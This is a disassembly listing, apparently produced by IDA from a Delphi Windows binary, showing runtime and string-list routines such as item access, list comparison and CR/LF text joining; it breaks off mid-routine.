; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C63C	proc near		; DATA XREF: CODE:0040B9DAo

var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40C6D1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_104]
		mov	eax, [esi]
		call	sub_402B5C
		lea	edx, [ebp+var_104]
		mov	eax, edi
		call	sub_4036EC
		mov	eax, esi
		mov	bx, 0FFFFh
		call	sub_402C88
		test	eax, eax
		jz	short loc_40C6BB
		mov	eax, esi
		mov	bx, 0FFFFh
		call	sub_402C88
		lea	edx, [ebp+var_4]
		mov	bx, 0FFFEh
		call	sub_402C88
		cmp	[ebp+var_4], 0
		jz	short loc_40C6BB
		push	[ebp+var_4]
		push	offset dword_40C6E8
		push	dword ptr [edi]
		mov	eax, edi
		mov	edx, 3
		call	sub_4037E4

loc_40C6BB:				; CODE XREF: sub_40C63C+4Aj
					; sub_40C63C+67j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C6D8

loc_40C6C8:				; CODE XREF: CODE:0040C6D6j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40C63C	endp ; sp = -124h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C6D1:				; DATA XREF: sub_40C63C+18o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C6C8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C6D8:				; DATA XREF: sub_40C63C+87o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_40C6E8	dd 2Eh			; DATA XREF: sub_40C63C+6Co
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C6EC:				; DATA XREF: CODE:0040B9D6o
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C6F0	proc near		; CODE XREF: sub_40D294+22p
					; DATA XREF: CODE:0040BA90o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_40D0C8
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40C520
		test	bl, bl
		jle	short loc_40C71B
		mov	eax, esi
		call	sub_402D2C

loc_40C71B:				; CODE XREF: sub_40C6F0+22j
		pop	esi
		pop	ebx
		retn
sub_40C6F0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C720	proc near		; DATA XREF: CODE:0040BAC8o
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	esi, eax
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+54h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C720	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C744	proc near		; DATA XREF: CODE:0040BACCo
					; CODE:0040BBECo
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ebx, eax
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	esi, eax
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C744	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C768	proc near		; DATA XREF: CODE:0040BAD0o
					; CODE:0040BBF0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40C80F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_40C890
		xor	eax, eax
		push	ebp
		push	offset loc_40C7F2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	esi, eax
		dec	esi
		test	esi, esi
		jl	short loc_40C7DC
		inc	esi
		xor	ebx, ebx

loc_40C7B2:				; CODE XREF: sub_40C768+72j
		lea	ecx, [ebp+var_C]
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_C]
		push	eax
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		pop	edx
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		inc	ebx
		dec	esi
		jnz	short loc_40C7B2

loc_40C7DC:				; CODE XREF: sub_40C768+45j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C7F9

loc_40C7E9:				; CODE XREF: CODE:0040C7F7j
		mov	eax, [ebp+var_4]
		call	near ptr loc_40C947+5
		retn
sub_40C768	endp ; sp = -2Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C7F2:				; DATA XREF: sub_40C768+2Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C7E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C7F9:				; DATA XREF: sub_40C768+7Co
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C816

loc_40C806:				; CODE XREF: CODE:0040C814j
		lea	eax, [ebp-0Ch]
		call	sub_4034C8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C80F:				; DATA XREF: sub_40C768+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C806
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C816:				; DATA XREF: CODE:0040C801o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C820	proc near		; DATA XREF: CODE:0040BA9Co
					; CODE:0040BBBCo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, ebx
		mov	edx, ds:off_40BA48
		call	sub_402C40
		test	al, al
		jz	short loc_40C880
		mov	eax, [ebp+var_4]
		call	sub_40C890
		xor	eax, eax
		push	ebp
		push	offset loc_40C879
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+3Ch]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C88A

loc_40C870:				; CODE XREF: sub_40C820+5Ej
		mov	eax, [ebp+var_4]
		call	near ptr loc_40C947+5
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C879:				; DATA XREF: sub_40C820+26o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C870
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C880:				; CODE XREF: sub_40C820+19j
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_40C54C

loc_40C88A:				; DATA XREF: sub_40C820+4Bo
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40C820	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C890	proc near		; CODE XREF: sub_40C768+25p
					; sub_40C820+1Ep ...
		push	ebx
		mov	ebx, eax
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_40C8A2
		mov	dl, 1
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]

loc_40C8A2:				; CODE XREF: sub_40C890+7j
		inc	dword ptr [ebx+4]
		pop	ebx
		retn
sub_40C890	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C8A8	proc near		; CODE XREF: sub_40C900+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	esi, [eax+20h]
		test	esi, esi
		jz	short loc_40C8E7
		mov	bl, 1
		mov	eax, [ebp+arg_0]
		mov	eax, esi
		mov	edx, ds:off_40BA48
		call	sub_402C40
		test	al, al
		jz	short loc_40C8F7
		mov	eax, [ebp+arg_0]
		mov	edx, esi
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-8]
		call	sub_40C960
		mov	ebx, eax
		xor	bl, 1
		jmp	short loc_40C8F7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C8E7:				; CODE XREF: sub_40C8A8+10j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-8]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		test	eax, eax
		setnle	bl

loc_40C8F7:				; CODE XREF: sub_40C8A8+26j
					; sub_40C8A8+3Dj
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40C8A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C900	proc near		; DATA XREF: CODE:0040BA98o
					; CODE:0040BBB8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset sub_40CF60
		mov	eax, [ebp+var_8]
		push	eax
		push	offset sub_40D210
		push	ebp
		call	sub_40C8A8
		pop	ecx
		mov	ecx, eax
		mov	edx, offset sub_40C944
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40C900	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 7

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C944	proc near		; DATA XREF: sub_40C900+28o
		push	ebx
		jz	short loc_40C9B9

loc_40C947:				; CODE XREF: sub_40C768+84p
					; sub_40C820+53p ...
		imul	ebp, [esi+67h],	48FF0073h
sub_40C944	endp

		add	al, 83h
		js	short near ptr loc_40C955+1
		add	[ebp+7], dh

loc_40C955:				; CODE XREF: CODE:0040C950j
		xor	edx, edx
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C960	proc near		; CODE XREF: sub_40C8A8+33p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40C9F5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_9], 0
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		cmp	ebx, eax
		jnz	short loc_40C9DA
		mov	esi, ebx
		dec	esi
		test	esi, esi
		jl	short loc_40C9D6
		inc	esi
		xor	ebx, ebx

loc_40C9A9:				; CODE XREF: sub_40C960+74j
		lea	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_10]

loc_40C9B9:				; CODE XREF: sub_40C944+1j
		push	eax
		lea	ecx, [ebp+var_14]
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, [ebp+var_14]
		pop	eax
		call	sub_403834
		jnz	short loc_40C9DA
		inc	ebx
		dec	esi
		jnz	short loc_40C9A9

loc_40C9D6:				; CODE XREF: sub_40C960+44j
		mov	[ebp+var_9], 1

loc_40C9DA:				; CODE XREF: sub_40C960+3Dj
					; sub_40C960+70j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C9FC

loc_40C9E7:				; CODE XREF: CODE:0040C9FAj
		lea	eax, [ebp+var_14]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_40C960	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C9F5:				; DATA XREF: sub_40C960+1Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C9E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C9FC:				; DATA XREF: sub_40C960+82o
		mov	al, [ebp-9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40CA08	proc near		; CODE XREF: sub_40CA0C+9p
		mov	eax, [ebp+4]
		retn
sub_40CA08	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40CA0C	proc near		; CODE XREF: sub_40CA44+2Dp

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, ecx
		mov	ebx, edx
		call	sub_40CA08
		push	eax
		mov	[esp+0Ch+var_8], esi
		mov	[esp+0Ch+var_4], 0
		lea	eax, [esp+0Ch+var_8]
		push	eax
		push	0
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_40B7A0
		call	sub_40948C
		jmp	sub_402F98
sub_40CA0C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CA44	proc near		; CODE XREF: sub_40D2F0+3Cp
					; sub_40D3B8+19p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CA8C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_404B80
		mov	edx, [ebp+var_4]
		mov	ecx, edi
		mov	eax, ebx
		call	sub_40CA0C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CA93

loc_40CA83:				; CODE XREF: CODE:0040CA91j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40CA44	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CA8C:				; DATA XREF: sub_40CA44+11o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CA83
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CA93:				; DATA XREF: sub_40CA44+3Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CA9C	proc near		; DATA XREF: CODE:0040BADCo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	esi, ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CB74
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_40C890
		xor	eax, eax
		push	ebp
		push	offset loc_40CB52
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_C]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	[ebp+var_8], eax
		lea	ecx, [ebp+var_10]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	ecx, eax
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		mov	ecx, [ebp+var_C]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+20h]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		call	dword ptr [ebx+24h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CB59

loc_40CB49:				; CODE XREF: CODE:0040CB57j
		mov	eax, [ebp+var_4]
		call	near ptr loc_40C947+5
		retn
sub_40CA9C	endp ; sp = -30h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CB52:				; DATA XREF: sub_40CA9C+31o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CB59:				; DATA XREF: sub_40CA9C+A8o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CB7B

loc_40CB66:				; CODE XREF: CODE:0040CB79j
		lea	eax, [ebp-10h]
		mov	edx, 2
		call	sub_4034EC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CB74:				; DATA XREF: sub_40CA9C+1Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CB66
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CB7B:				; DATA XREF: CODE:0040CB61o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40CB84:				; DATA XREF: CODE:0040BAA4o
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40CB8C:				; DATA XREF: CODE:0040BAACo
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CB90	proc near		; DATA XREF: CODE:0040BAE0o
					; CODE:0040BC00o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CBD5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		call	sub_40765C
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CBDC

loc_40CBCC:				; CODE XREF: CODE:0040CBDAj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40CB90	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CBD5:				; DATA XREF: sub_40CB90+Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CBCC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CBDC:				; DATA XREF: sub_40CB90+37o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CBE4	proc near		; DATA XREF: CODE:0040BAB0o
					; CODE:0040BBD0o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CCBB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	[ebp+var_10], eax
		xor	ebx, ebx
		mov	esi, [ebp+var_10]
		dec	esi
		test	esi, esi
		jl	short loc_40CC47
		inc	esi
		mov	[ebp+var_C], 0

loc_40CC26:				; CODE XREF: sub_40CBE4+61j
		lea	ecx, [ebp+var_18]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_18]
		call	sub_403724
		add	eax, 2
		add	ebx, eax
		inc	[ebp+var_C]
		dec	esi
		jnz	short loc_40CC26

loc_40CC47:				; CODE XREF: sub_40CBE4+38j
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		xor	edx, edx
		call	sub_4035B0
		mov	ebx, [ebp+var_8]
		mov	ebx, [ebx]
		mov	esi, [ebp+var_10]
		dec	esi
		test	esi, esi
		jl	short loc_40CCA0
		inc	esi
		mov	[ebp+var_C], 0

loc_40CC68:				; CODE XREF: sub_40CBE4+BAj
		lea	ecx, [ebp+var_14]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_14]
		call	sub_403724
		mov	edi, eax
		test	edi, edi
		jz	short loc_40CC92
		mov	edx, ebx
		mov	eax, [ebp+var_14]
		mov	ecx, edi
		call	sub_4026B0
		add	ebx, edi

loc_40CC92:				; CODE XREF: sub_40CBE4+9Ej
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx
		inc	[ebp+var_C]
		dec	esi
		jnz	short loc_40CC68

loc_40CCA0:				; CODE XREF: sub_40CBE4+7Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40CCC2

loc_40CCAD:				; CODE XREF: CODE:0040CCC0j
		lea	eax, [ebp+var_18]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_40CBE4	endp ; sp = -2Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CCBB:				; DATA XREF: sub_40CBE4+1Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40CCAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40CCC2:				; DATA XREF: sub_40CBE4+C4o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40CCCC	proc near		; CODE XREF: sub_40D598+11p
					; DATA XREF: CODE:0040BAE4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40CD39
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	ebx, eax
		dec	ebx
		test	ebx, ebx
		jl	short loc_40CD20
		inc	ebx
		xor	esi, esi

loc_40CD00:				; CODE XREF: sub_40CCCC+52j
		lea	ecx, [ebp+var_C]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		call	sub_406E64
		test	eax, eax
		jz	short loc_40CD23
		inc	esi
		dec	ebx
		jnz	short loc_40CD00

loc_40CD20:				; CODE XREF: sub_40CCCC+2Fj
		or	esi, 0FFFFFFFFh

